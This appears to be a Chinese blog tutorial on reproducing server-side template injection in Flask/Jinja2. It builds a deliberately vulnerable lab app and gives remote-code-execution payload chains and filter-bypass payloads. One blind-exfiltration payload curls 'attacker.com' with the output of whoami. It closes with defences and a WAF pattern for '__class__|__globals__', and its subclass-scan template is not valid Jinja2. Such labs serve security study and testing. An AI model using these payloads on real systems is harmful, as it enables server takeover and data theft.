news 2026/6/13 19:09:59

别再只盯着SQL注入了!手把手教你用Flask/Jinja2复现SSTI漏洞(附靶场环境)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
别再只盯着SQL注入了!手把手教你用Flask/Jinja2复现SSTI漏洞(附靶场环境)

Flask/Jinja2 SSTI漏洞实战:从环境搭建到命令执行的全链路攻防

当开发者习惯性将用户输入直接拼接到模板时,一个看似无害的输入框就可能成为整个系统的致命弱点。不同于SQL注入这类广为人知的安全威胁,服务器端模板注入(SSTI)更像是一把藏在代码深处的万能钥匙,攻击者通过精心构造的模板语法,能够绕过常规安全防护直达系统核心。

1. 漏洞环境搭建:构建可复现的靶场

1.1 基础环境配置

首先创建一个纯净的Python虚拟环境:

python -m venv ssti-lab source ssti-lab/bin/activate # Linux/Mac ssti-lab\Scripts\activate # Windows

安装必要依赖包:

pip install flask jinja2

1.2 漏洞代码实现

新建vulnerable_app.py文件,写入以下存在SSTI漏洞的Flask代码:

from flask import Flask, request, render_template_string app = Flask(__name__) @app.route('/') def index(): name = request.args.get('name', 'Guest') template = f''' <html> <body> <h1>Hello {name}!</h1> </body> </html> ''' return render_template_string(template) if __name__ == '__main__': app.run(debug=True)

这个典型的漏洞场景中,开发者直接将用户输入的name参数拼接进模板字符串。启动应用后访问http://localhost:5000/?name={{7*7}},如果页面显示"Hello 49!",则确认存在模板注入漏洞。

1.3 容器化部署(可选)

使用Docker可以创建隔离的测试环境,新建Dockerfile

FROM python:3.9-slim WORKDIR /app COPY requirements.txt . RUN pip install -r requirements.txt COPY vulnerable_app.py . CMD ["python", "vulnerable_app.py"]

构建并运行容器:

docker build -t ssti-lab . docker run -p 5000:5000 ssti-lab

2. SSTI漏洞探测与利用链构建

2.1 基础探测技术

通过逐步测试确定模板引擎类型:

测试Payload预期响应引擎判断
{{7*7}}Hello 49!Jinja2/Twig
${7*7}Hello ${7*7}Smarty
<%= 7*7 %>Hello <%=49%>ERB

确认Jinja2引擎后,进一步探测可用对象:

{{ ''.__class__ }} # 获取字符串对象的类定义 {{ ''.__class__.__mro__ }} # 查看方法解析顺序 {{ ''.__class__.__mro__[1].__subclasses__() }} # 列出所有子类

2.2 利用链构造方法论

典型的攻击路径分为四个阶段:

  1. 获取基类对象

    {{ ''.__class__.__mro__[1] }} # 获取object基类
  2. 寻找危险子类在400+个子类中,我们需要定位包含以下特征的类:

    • 文件操作类(如<class '_io.FileIO'>
    • 命令执行类(如<class 'subprocess.Popen'>
    • 代码执行类(如<class 'warnings.catch_warnings'>
  3. 定位关键方法

    {{ ''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__ }} # 查看模块全局变量
  4. 实现RCE突破最终构造如下的完整利用链:

    {{ ''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].system('id') }}

2.3 自动化子类扫描

使用以下模板快速定位可用子类:

{% for i in range(500) %} {% try %} {{ ''.__class__.__mro__[1].__subclasses__()[i].__init__.__globals__.keys() }} {% except %} <!-- 忽略报错 --> {% endfor %} {% endfor %}

关键危险类索引示例(Python 3.8):

类索引类名可利用方法
147_frozen_importlib._Modulebuiltins
150os._wrap_closeos模块引用
168subprocess.Popen直接命令执行
391warnings.catch_warnings__builtins__和os模块引用

3. 高级利用技术:绕过防御机制

3.1 常见WAF绕过技巧

过滤方括号[]

使用__getitem__方法替代:

{{ ''.__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(168) }}
过滤点号.

使用|attr()过滤器:

{{ (''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)) }}
过滤关键词

利用字符串拼接和编码:

{{ (request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f'))['__builtins__']['__import__']('os').popen('id').read() }}

3.2 无回显利用技术

当无法直接看到命令输出时:

  1. DNS外带数据

    {{ ''.__class__.__mro__[1].__subclasses__()[168]('curl http://attacker.com/`whoami`', shell=True) }}
  2. 时间盲注

    {% if ''.__class__.__mro__[1].__subclasses__()[168]('sleep 5', shell=True) == 0 %} <!-- 条件成立 --> {% endif %}
  3. 文件写入后读取

    {{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/output', 'w').write('test') }} {{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/output').read() }}

3.3 上下文感知利用

不同框架下的特殊变量:

框架关键对象利用方式示例
Flaskconfig, request{{ config.__class__ }}
Djangosettings, request{{ settings.SECRET_KEY }}
Tornadohandler.settings{{ handler.settings }}
Pyramidcontext, request{{ request.environ }}

4. 防御方案与最佳实践

4.1 安全编码规范

  1. 输入过滤白名单

    from jinja2 import Template template = Template('Hello {{ name }}') template.render(name=filter_input(request.args.get('name')))
  2. 模板沙箱配置

    from jinja2.sandbox import SandboxedEnvironment env = SandboxedEnvironment() env.from_string(template).render()
  3. 最小权限原则

    # 禁用危险属性和方法 class SafeTemplate(Environment): def is_safe_attribute(self, obj, attr, value): return attr not in ['__class__', '__globals__']

4.2 运行时防护措施

  1. 监控异常模板行为

    import sys sys.addaudithook(lambda event, args: '__globals__' in str(args) and sys.exit(1))
  2. 容器安全配置

    # 在Docker中限制权限 USER nobody RUN chmod -R 755 /app && \ chown -R nobody:nogroup /app
  3. WAF规则示例

    location / { if ($args ~* "__class__|__globals__") { return 403; } }

4.3 自动化检测工具

推荐的安全测试工具链:

  1. 静态扫描

    semgrep --config p/python.flask.security
  2. 动态测试

    tplmap -u 'http://target/page?name=*'
  3. Burp Suite插件

    • Turbo Intruder
    • SSTI Scanner

在真实渗透测试中,我们曾遇到一个案例:通过{{ config }}泄露了AWS密钥,进而导致整个云环境沦陷。这种漏洞的危险性往往超出开发者的预期,必须在设计阶段就考虑安全防护。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/10 5:24:57

手撕Transformer:构建可解释文本分类器的注意力层解耦实践

1. 这不是调包&#xff0c;是亲手把注意力机制“拧”进分类器里你有没有试过用现成的transformers库一行pipeline("text-classification")跑通一个情感分析&#xff1f;快是真快&#xff0c;但模型到底在看哪几个字做判断&#xff0c;为什么把“这个电影不差”判成负…

作者头像 李华
网站建设 2026/6/10 5:12:25

别再重复连接了!Qt信号槽的Qt::UniqueConnection正确用法与避坑指南

别再重复连接了&#xff01;Qt信号槽的Qt::UniqueConnection正确用法与避坑指南在Qt开发中&#xff0c;信号槽机制是其核心特性之一&#xff0c;它实现了对象间的松耦合通信。然而&#xff0c;随着项目规模扩大和业务逻辑复杂化&#xff0c;一个看似简单却极易被忽视的问题开始…

作者头像 李华